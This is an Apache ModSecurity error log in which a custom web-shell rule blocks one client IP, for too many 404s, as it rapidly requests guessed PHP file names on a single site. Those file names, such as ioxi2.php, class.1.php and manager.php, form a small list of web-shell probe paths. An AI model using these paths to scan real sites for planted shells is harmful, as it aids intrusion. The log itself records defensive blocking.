[Mon Feb 09 00:52:22.276872 2026] [:error] [pid 6723:tid 6809] [client 20.69.252.116:35192] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aYi_Rjkiu6gHwS33P0qTJgAAA1g"]
[Mon Feb 09 00:52:22.759626 2026] [:error] [pid 6723:tid 6807] [client 20.69.252.116:35116] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYi_Rjkiu6gHwS33P0qTKQAAA1Y"]
[Mon Feb 09 00:52:23.159085 2026] [:error] [pid 9422:tid 9435] [client 20.69.252.116:34558] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYi_R69DqDJC68qBbyxFYAAAAYo"]
[Mon Feb 09 00:52:23.566224 2026] [:error] [pid 24421:tid 24449] [client 20.69.252.116:35114] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYi_R6p7cTzhX5M1IP9ZYgAAABI"]
[Mon Feb 09 00:52:23.991507 2026] [:error] [pid 6663:tid 6710] [client 20.69.252.116:35095] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYi_R2GI3uHqWdeZM76gvgAAApE"]
[Mon Feb 09 00:52:24.405112 2026] [:error] [pid 6663:tid 6697] [client 20.69.252.116:35109] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi2.php"] [unique_id "aYi_SGGI3uHqWdeZM76gvwAAAoQ"]
[Mon Feb 09 00:52:24.819737 2026] [:error] [pid 9422:tid 9425] [client 20.69.252.116:34461] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi2.php"] [unique_id "aYi_SK9DqDJC68qBbyxFZQAAAYA"]
[Mon Feb 09 00:52:25.227716 2026] [:error] [pid 6663:tid 6700] [client 20.69.252.116:35138] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi2.php"] [unique_id "aYi_SWGI3uHqWdeZM76gwAAAAoc"]
[Mon Feb 09 00:52:25.629900 2026] [:error] [pid 6662:tid 6667] [client 20.69.252.116:34549] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi2.php"] [unique_id "aYi_Sd-oEK1ut16KiNIdLQAAAkE"]
[Mon Feb 09 00:52:26.039852 2026] [:error] [pid 24423:tid 24503] [client 20.69.252.116:34508] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aYi_Sk3f9n1Y0TpV5YaJtQAAAJI"]
[Mon Feb 09 00:52:26.439323 2026] [:error] [pid 24423:tid 24485] [client 20.69.252.116:35149] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aYi_Sk3f9n1Y0TpV5YaJtgAAAIA"]
[Mon Feb 09 00:52:26.847504 2026] [:error] [pid 6663:tid 6702] [client 20.69.252.116:35072] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aYi_SmGI3uHqWdeZM76gwwAAAok"]
[Mon Feb 09 00:52:27.248498 2026] [:error] [pid 43900:tid 43911] [client 20.69.252.116:35081] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aYi_S-Wrhnpm_Csk3knKAQAAAUg"]
[Mon Feb 09 00:52:27.663459 2026] [:error] [pid 6630:tid 6651] [client 20.69.252.116:48734] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aYi_S52jf0FBTEb_cWQRgwAAAhI"]
[Mon Feb 09 00:52:28.085043 2026] [:error] [pid 6630:tid 6638] [client 20.69.252.116:34466] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aYi_TJ2jf0FBTEb_cWQRhAAAAgU"]
[Mon Feb 09 00:52:28.504036 2026] [:error] [pid 6723:tid 6785] [client 20.69.252.116:35183] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aYi_TDkiu6gHwS33P0qTLQAAA0A"]
[Mon Feb 09 00:52:28.903285 2026] [:error] [pid 6723:tid 6806] [client 20.69.252.116:35110] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.1.php"] [unique_id "aYi_TDkiu6gHwS33P0qTLgAAA1U"]
[Mon Feb 09 00:52:29.349672 2026] [:error] [pid 6723:tid 6801] [client 20.69.252.116:35182] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aYi_TTkiu6gHwS33P0qTMAAAA1A"]
[Mon Feb 09 00:52:29.794326 2026] [:error] [pid 6723:tid 6794] [client 20.69.252.116:48708] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aYi_TTkiu6gHwS33P0qTMwAAA0k"]
[Mon Feb 09 00:52:30.217343 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:35168] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aYi_Tjkiu6gHwS33P0qTNAAAA08"]
[Mon Feb 09 00:52:30.642818 2026] [:error] [pid 6662:tid 6688] [client 20.69.252.116:48671] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aYi_Tt-oEK1ut16KiNIdLgAAAlY"]
[Mon Feb 09 00:52:31.051349 2026] [:error] [pid 6663:tid 6713] [client 20.69.252.116:35139] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aYi_T2GI3uHqWdeZM76gxwAAApQ"]
[Mon Feb 09 00:52:31.501274 2026] [:error] [pid 24421:tid 24452] [client 20.69.252.116:35166] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aYi_T6p7cTzhX5M1IP9ZZwAAABU"]
[Mon Feb 09 00:52:31.904011 2026] [:error] [pid 9422:tid 9425] [client 20.69.252.116:48723] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aYi_T69DqDJC68qBbyxFbAAAAYA"]
[Mon Feb 09 00:52:32.307868 2026] [:error] [pid 6630:tid 6648] [client 20.69.252.116:35155] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/async.php"] [unique_id "aYi_UJ2jf0FBTEb_cWQRhwAAAg8"]
[Mon Feb 09 00:52:32.717081 2026] [:error] [pid 6630:tid 6653] [client 20.69.252.116:34552] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aYi_UJ2jf0FBTEb_cWQRiAAAAhQ"]
[Mon Feb 09 00:52:33.165229 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:35193] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aYi_Ua9DqDJC68qBbyxFbwAAAYw"]
[Mon Feb 09 00:52:33.610517 2026] [:error] [pid 24423:tid 24486] [client 20.69.252.116:48676] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aYi_UU3f9n1Y0TpV5YaJugAAAIE"]
[Mon Feb 09 00:52:34.017532 2026] [:error] [pid 6723:tid 6799] [client 20.69.252.116:34531] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file17.php"] [unique_id "aYi_Ujkiu6gHwS33P0qTOAAAA04"]
[Mon Feb 09 00:52:34.457792 2026] [:error] [pid 6723:tid 6785] [client 20.69.252.116:34442] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aYi_Ujkiu6gHwS33P0qTOQAAA0A"]
[Mon Feb 09 00:52:34.859481 2026] [:error] [pid 6723:tid 6790] [client 20.69.252.116:48745] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aYi_Ujkiu6gHwS33P0qTOwAAA0U"]
[Mon Feb 09 00:52:35.266112 2026] [:error] [pid 6662:tid 6669] [client 20.69.252.116:35194] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aYi_U9-oEK1ut16KiNIdMgAAAkM"]
[Mon Feb 09 00:52:35.670499 2026] [:error] [pid 6630:tid 6642] [client 20.69.252.116:35113] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff.php"] [unique_id "aYi_U52jf0FBTEb_cWQRjQAAAgk"]
[Mon Feb 09 00:52:36.114730 2026] [:error] [pid 6663:tid 6693] [client 20.69.252.116:48742] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aYi_VGGI3uHqWdeZM76gzgAAAoA"]
[Mon Feb 09 00:52:36.537192 2026] [:error] [pid 24421:tid 24440] [client 20.69.252.116:35158] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aYi_VKp7cTzhX5M1IP9ZaQAAAAk"]
[Mon Feb 09 00:52:36.941852 2026] [:error] [pid 9482:tid 9557] [client 20.69.252.116:35199] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aYi_VMTkGH_puEFp5zPRsgAAA9I"]
[Mon Feb 09 00:52:37.342836 2026] [:error] [pid 9422:tid 9439] [client 20.69.252.116:34496] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aYi_Va9DqDJC68qBbyxFdQAAAY4"]
[Mon Feb 09 00:52:37.777218 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:35121] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYi_VTkiu6gHwS33P0qTPQAAA08"]
[Mon Feb 09 00:52:38.199438 2026] [:error] [pid 6630:tid 6636] [client 20.69.252.116:35085] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYi_Vp2jf0FBTEb_cWQRkQAAAgM"]
[Mon Feb 09 00:52:38.669326 2026] [:error] [pid 6630:tid 6645] [client 20.69.252.116:35078] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYi_Vp2jf0FBTEb_cWQRkgAAAgw"]
[Mon Feb 09 00:52:39.090454 2026] [:error] [pid 6723:tid 6796] [client 20.69.252.116:34534] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYi_Vzkiu6gHwS33P0qTPgAAA0s"]
[Mon Feb 09 00:52:39.491986 2026] [:error] [pid 6630:tid 6647] [client 20.69.252.116:35093] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYi_V52jf0FBTEb_cWQRlQAAAg4"]
[Mon Feb 09 00:52:39.891661 2026] [:error] [pid 6723:tid 6807] [client 20.69.252.116:35124] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYi_Vzkiu6gHwS33P0qTPwAAA1Y"]
[Mon Feb 09 00:52:40.301374 2026] [:error] [pid 43900:tid 43903] [client 20.69.252.116:34446] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYi_WOWrhnpm_Csk3knKBwAAAUA"]
[Mon Feb 09 00:52:40.784054 2026] [:error] [pid 6630:tid 6652] [client 20.69.252.116:34544] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aYi_WJ2jf0FBTEb_cWQRmQAAAhM"]
[Mon Feb 09 00:52:41.201503 2026] [:error] [pid 9422:tid 9442] [client 20.69.252.116:34453] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aYi_Wa9DqDJC68qBbyxFdwAAAZE"]
[Mon Feb 09 00:52:41.603911 2026] [:error] [pid 24423:tid 24489] [client 20.69.252.116:34559] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aYi_WU3f9n1Y0TpV5YaJwQAAAIQ"]
[Mon Feb 09 00:52:42.004379 2026] [:error] [pid 6723:tid 6799] [client 20.69.252.116:34527] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aYi_Wjkiu6gHwS33P0qTQgAAA04"]
[Mon Feb 09 00:52:42.402842 2026] [:error] [pid 24423:tid 24501] [client 20.69.252.116:34512] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aYi_Wk3f9n1Y0TpV5YaJwgAAAJA"]
[Mon Feb 09 00:52:42.817566 2026] [:error] [pid 9422:tid 9444] [client 20.69.252.116:34471] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYi_Wq9DqDJC68qBbyxFegAAAZM"]
[Mon Feb 09 00:52:43.225909 2026] [:error] [pid 9422:tid 9437] [client 20.69.252.116:48760] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYi_W69DqDJC68qBbyxFewAAAYw"]
[Mon Feb 09 00:52:43.627475 2026] [:error] [pid 9422:tid 9429] [client 20.69.252.116:35191] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYi_W69DqDJC68qBbyxFfAAAAYQ"]
[Mon Feb 09 00:52:44.049944 2026] [:error] [pid 6723:tid 6806] [client 20.69.252.116:35172] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aYi_XDkiu6gHwS33P0qTRgAAA1U"]
[Mon Feb 09 00:52:44.466917 2026] [:error] [pid 9422:tid 9427] [client 20.69.252.116:34541] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/188.php"] [unique_id "aYi_XK9DqDJC68qBbyxFfgAAAYI"]
[Mon Feb 09 00:52:44.888344 2026] [:error] [pid 43900:tid 43910] [client 20.69.252.116:33857] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/188.php"] [unique_id "aYi_XOWrhnpm_Csk3knKCQAAAUc"]
[Mon Feb 09 00:52:45.324616 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:34457] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/188.php"] [unique_id "aYi_XUazNRCs1GRWrh471wAAAMs"]
